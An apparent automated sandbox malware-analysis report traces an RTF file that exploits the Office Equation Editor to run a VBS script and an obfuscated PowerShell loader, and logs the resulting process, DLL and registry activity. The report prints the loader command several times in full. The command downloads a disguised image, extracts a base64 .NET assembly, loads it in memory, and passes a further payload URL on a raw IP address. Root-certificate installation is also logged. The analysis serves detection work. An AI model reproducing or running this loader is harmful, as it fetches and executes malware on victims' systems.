Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\greatideaforfollowers.vBS"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ". ( $VErboSePreFErEnce.TosTRing()[1,3]+'X'-JoiN'')( (('94Ylink = YKohttps://uploaddeimagens.com.br/images/'+'004/807/053/origina'+'l/new_image.'+'jpg?1719846235YKo; 94YwebClient = New-Object System.Net.WebClie'+'nt; try { 94YdownloadedData = 94YwebClient.DownloadData(94Ylink) } catch { Write-Host YKoFailed To download data from 94YlinkYKo -ForegroundColor Red; ex'+'it }; if (94YdownloadedData -ne 94Ynull) { 94'+'YimageText = ['+'System.Text.Encoding]::UTF8.GetString(94Ydownload'+'edData); 94YstartFlag = YKo<<BASE64_START>>YKo;'+' 94YendFlag '+'= YKo<<BASE64_END>>YKo; 94YstartIndex = 94YimageText.IndexOf(94YstartFlag); 94YendIndex = 94YimageText.IndexOf(94YendFlag); if (94YstartIndex -ge 0 -and 94Yen'+'dIndex -gt 94YstartInd'+'ex) { 94YstartIndex += 94YstartFlag.Length; 94Ybase64Length = 94YendIndex - 94YstartIndex; 94Ybase64Command = 94YimageText.Substring(94Yst'+'a'+'rtIndex, 94Ybase64Length); 94Ycommand'+'Bytes = [Sy'+'st'+'em.Convert]::Fro'+'mBase64String(94Ybase64Command); 94YloadedAssembly = [System.Reflection'+'.Assembly]::Load(94YcommandBytes); 94Ytype = 9'+'4YloadedAssembly.GetType(YKoRunPE.HomeYKo); 94Ymethod = 94Ytype.GetMethod(YKoVAIYKo).Invoke('+'94Ynull, ['+'object[]] (YKotxt.FDW/11033/61.532.59.32//:ptthYKo ,'+' YKodesativadoYKo , YKodesativadoYKo , YKodesati'+'vadoYKo,YKoRegAsmYKo,YKoYKo)) } }') -crEPLAce 'YKo',[chAR]39 -crEPLAce([chAR]57+[chAR]52+[chAR]89),[chAR]36) )"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\greatideaforfollowers.vBS" Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ". ( $VErboSePreFErEnce.TosTRing()[1,3]+'X'-JoiN'')( (('94Ylink = YKohttps://uploaddeimagens.com.br/images/'+'004/807/053/origina'+'l/new_image.'+'jpg?1719846235YKo; 94YwebClient = New-Object System.Net.WebClie'+'nt; try { 94YdownloadedData = 94YwebClient.DownloadData(94Ylink) } catch { Write-Host YKoFailed To download data from 94YlinkYKo -ForegroundColor Red; ex'+'it }; if (94YdownloadedData -ne 94Ynull) { 94'+'YimageText = ['+'System.Text.Encoding]::UTF8.GetString(94Ydownload'+'edData); 94YstartFlag = YKo<<BASE64_START>>YKo;'+' 94YendFlag '+'= YKo<<BASE64_END>>YKo; 94YstartIndex = 94YimageText.IndexOf(94YstartFlag); 94YendIndex = 94YimageText.IndexOf(94YendFlag); if (94YstartIndex -ge 0 -and 94Yen'+'dIndex -gt 94YstartInd'+'ex) { 94YstartIndex += 94YstartFlag.Length; 94Ybase64Length = 94YendIndex - 94YstartIndex; 94Ybase64Command = 94YimageText.Substring(94Yst'+'a'+'rtIndex, 94Ybase64Length); 94Ycommand'+'Bytes = [Sy'+'st'+'em.Convert]::Fro'+'mBase64String(94Ybase64Command); 94YloadedAssembly = [System.Reflection'+'.Assembly]::Load(94YcommandBytes); 94Ytype = 9'+'4YloadedAssembly.GetType(YKoRunPE.HomeYKo); 94Ymethod = 94Ytype.GetMethod(YKoVAIYKo).Invoke('+'94Ynull, ['+'object[]] (YKotxt.FDW/11033/61.532.59.32//:ptthYKo ,'+' YKodesativadoYKo , YKodesativadoYKo , YKodesati'+'vadoYKo,YKoRegAsmYKo,YKoYKo)) } }') -crEPLAce 'YKo',[chAR]39 -crEPLAce([chAR]57+[chAR]52+[chAR]89),[chAR]36) )" Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: ntmarta.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: 4YlwTsmpuZ.LNK.0.dr LNK file: ..\..\..\..\..\Desktop\4YlwTsmpuZ.rtf
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior

Data Obfuscation
barindex
Obfuscated command line found
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ". ( $VErboSePreFErEnce.TosTRing()[1,3]+'X'-JoiN'')( (('94Ylink = YKohttps://uploaddeimagens.com.br/images/'+'004/807/053/origina'+'l/new_image.'+'jpg?1719846235YKo; 94YwebClient = New-Object System.Net.WebClie'+'nt; try { 94YdownloadedData = 94YwebClient.DownloadData(94Ylink) } catch { Write-Host YKoFailed To download data from 94YlinkYKo -ForegroundColor Red; ex'+'it }; if (94YdownloadedData -ne 94Ynull) { 94'+'YimageText = ['+'System.Text.Encoding]::UTF8.GetString(94Ydownload'+'edData); 94YstartFlag = YKo<<BASE64_START>>YKo;'+' 94YendFlag '+'= YKo<<BASE64_END>>YKo; 94YstartIndex = 94YimageText.IndexOf(94YstartFlag); 94YendIndex = 94YimageText.IndexOf(94YendFlag); if (94YstartIndex -ge 0 -and 94Yen'+'dIndex -gt 94YstartInd'+'ex) { 94YstartIndex += 94YstartFlag.Length; 94Ybase64Length = 94YendIndex - 94YstartIndex; 94Ybase64Command = 94YimageText.Substring(94Yst'+'a'+'rtIndex, 94Ybase64Length); 94Ycommand'+'Bytes = [Sy'+'st'+'em.Convert]::Fro'+'mBase64String(94Ybase64Command); 94YloadedAssembly = [System.Reflection'+'.Assembly]::Load(94YcommandBytes); 94Ytype = 9'+'4YloadedAssembly.GetType(YKoRunPE.HomeYKo); 94Ymethod = 94Ytype.GetMethod(YKoVAIYKo).Invoke('+'94Ynull, ['+'object[]] (YKotxt.FDW/11033/61.532.59.32//:ptthYKo ,'+' YKodesativadoYKo , YKodesativadoYKo , YKodesati'+'vadoYKo,YKoRegAsmYKo,YKoYKo)) } }') -crEPLAce 'YKo',[chAR]39 -crEPLAce([chAR]57+[chAR]52+[chAR]89),[chAR]36) )"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ". ( $VErboSePreFErEnce.TosTRing()[1,3]+'X'-JoiN'')( (('94Ylink = YKohttps://uploaddeimagens.com.br/images/'+'004/807/053/origina'+'l/new_image.'+'jpg?1719846235YKo; 94YwebClient = New-Object System.Net.WebClie'+'nt; try { 94YdownloadedData = 94YwebClient.DownloadData(94Ylink) } catch { Write-Host YKoFailed To download data from 94YlinkYKo -ForegroundColor Red; ex'+'it }; if (94YdownloadedData -ne 94Ynull) { 94'+'YimageText = ['+'System.Text.Encoding]::UTF8.GetString(94Ydownload'+'edData); 94YstartFlag = YKo<<BASE64_START>>YKo;'+' 94YendFlag '+'= YKo<<BASE64_END>>YKo; 94YstartIndex = 94YimageText.IndexOf(94YstartFlag); 94YendIndex = 94YimageText.IndexOf(94YendFlag); if (94YstartIndex -ge 0 -and 94Yen'+'dIndex -gt 94YstartInd'+'ex) { 94YstartIndex += 94YstartFlag.Length; 94Ybase64Length = 94YendIndex - 94YstartIndex; 94Ybase64Command = 94YimageText.Substring(94Yst'+'a'+'rtIndex, 94Ybase64Length); 94Ycommand'+'Bytes = [Sy'+'st'+'em.Convert]::Fro'+'mBase64String(94Ybase64Command); 94YloadedAssembly = [System.Reflection'+'.Assembly]::Load(94YcommandBytes); 94Ytype = 9'+'4YloadedAssembly.GetType(YKoRunPE.HomeYKo); 94Ymethod = 94Ytype.GetMethod(YKoVAIYKo).Invoke('+'94Ynull, ['+'object[]] (YKotxt.FDW/11033/61.532.59.32//:ptthYKo ,'+' YKodesativadoYKo , YKodesativadoYKo , YKodesati'+'vadoYKo,YKoRegAsmYKo,YKoYKo)) } }') -crEPLAce 'YKo',[chAR]39 -crEPLAce([chAR]57+[chAR]52+[chAR]89),[chAR]36) )" Jump to behavior
Suspicious powershell command line found
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ". ( $VErboSePreFErEnce.TosTRing()[1,3]+'X'-JoiN'')( (('94Ylink = YKohttps://uploaddeimagens.com.br/images/'+'004/807/053/origina'+'l/new_image.'+'jpg?1719846235YKo; 94YwebClient = New-Object System.Net.WebClie'+'nt; try { 94YdownloadedData = 94YwebClient.DownloadData(94Ylink) } catch { Write-Host YKoFailed To download data from 94YlinkYKo -ForegroundColor Red; ex'+'it }; if (94YdownloadedData -ne 94Ynull) { 94'+'YimageText = ['+'System.Text.Encoding]::UTF8.GetString(94Ydownload'+'edData); 94YstartFlag = YKo<<BASE64_START>>YKo;'+' 94YendFlag '+'= YKo<<BASE64_END>>YKo; 94YstartIndex = 94YimageText.IndexOf(94YstartFlag); 94YendIndex = 94YimageText.IndexOf(94YendFlag); if (94YstartIndex -ge 0 -and 94Yen'+'dIndex -gt 94YstartInd'+'ex) { 94YstartIndex += 94YstartFlag.Length; 94Ybase64Length = 94YendIndex - 94YstartIndex; 94Ybase64Command = 94YimageText.Substring(94Yst'+'a'+'rtIndex, 94Ybase64Length); 94Ycommand'+'Bytes = [Sy'+'st'+'em.Convert]::Fro'+'mBase64String(94Ybase64Command); 94YloadedAssembly = [System.Reflection'+'.Assembly]::Load(94YcommandBytes); 94Ytype = 9'+'4YloadedAssembly.GetType(YKoRunPE.HomeYKo); 94Ymethod = 94Ytype.GetMethod(YKoVAIYKo).Invoke('+'94Ynull, ['+'object[]] (YKotxt.FDW/11033/61.532.59.32//:ptthYKo ,'+' YKodesativadoYKo , YKodesativadoYKo , YKodesati'+'vadoYKo,YKoRegAsmYKo,YKoYKo)) } }') -crEPLAce 'YKo',[chAR]39 -crEPLAce([chAR]57+[chAR]52+[chAR]89),[chAR]36) )"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ". ( $VErboSePreFErEnce.TosTRing()[1,3]+'X'-JoiN'')( (('94Ylink = YKohttps://uploaddeimagens.com.br/images/'+'004/807/053/origina'+'l/new_image.'+'jpg?1719846235YKo; 94YwebClient = New-Object System.Net.WebClie'+'nt; try { 94YdownloadedData = 94YwebClient.DownloadData(94Ylink) } catch { Write-Host YKoFailed To download data from 94YlinkYKo -ForegroundColor Red; ex'+'it }; if (94YdownloadedData -ne 94Ynull) { 94'+'YimageText = ['+'System.Text.Encoding]::UTF8.GetString(94Ydownload'+'edData); 94YstartFlag = YKo<<BASE64_START>>YKo;'+' 94YendFlag '+'= YKo<<BASE64_END>>YKo; 94YstartIndex = 94YimageText.IndexOf(94YstartFlag); 94YendIndex = 94YimageText.IndexOf(94YendFlag); if (94YstartIndex -ge 0 -and 94Yen'+'dIndex -gt 94YstartInd'+'ex) { 94YstartIndex += 94YstartFlag.Length; 94Ybase64Length = 94YendIndex - 94YstartIndex; 94Ybase64Command = 94YimageText.Substring(94Yst'+'a'+'rtIndex, 94Ybase64Length); 94Ycommand'+'Bytes = [Sy'+'st'+'em.Convert]::Fro'+'mBase64String(94Ybase64Command); 94YloadedAssembly = [System.Reflection'+'.Assembly]::Load(94YcommandBytes); 94Ytype = 9'+'4YloadedAssembly.GetType(YKoRunPE.HomeYKo); 94Ymethod = 94Ytype.GetMethod(YKoVAIYKo).Invoke('+'94Ynull, ['+'object[]] (YKotxt.FDW/11033/61.532.59.32//:ptthYKo ,'+' YKodesativadoYKo , YKodesativadoYKo , YKodesati'+'vadoYKo,YKoRegAsmYKo,YKoYKo)) } }') -crEPLAce 'YKo',[chAR]39 -crEPLAce([chAR]57+[chAR]52+[chAR]89),[chAR]36) )" Jump to behavior

Persistence and Installation Behavior
barindex
Installs new ROOT certificates
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Contains functionality to download and launch executables
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03510668 URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_03510668
Stores large binary data to the registry
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
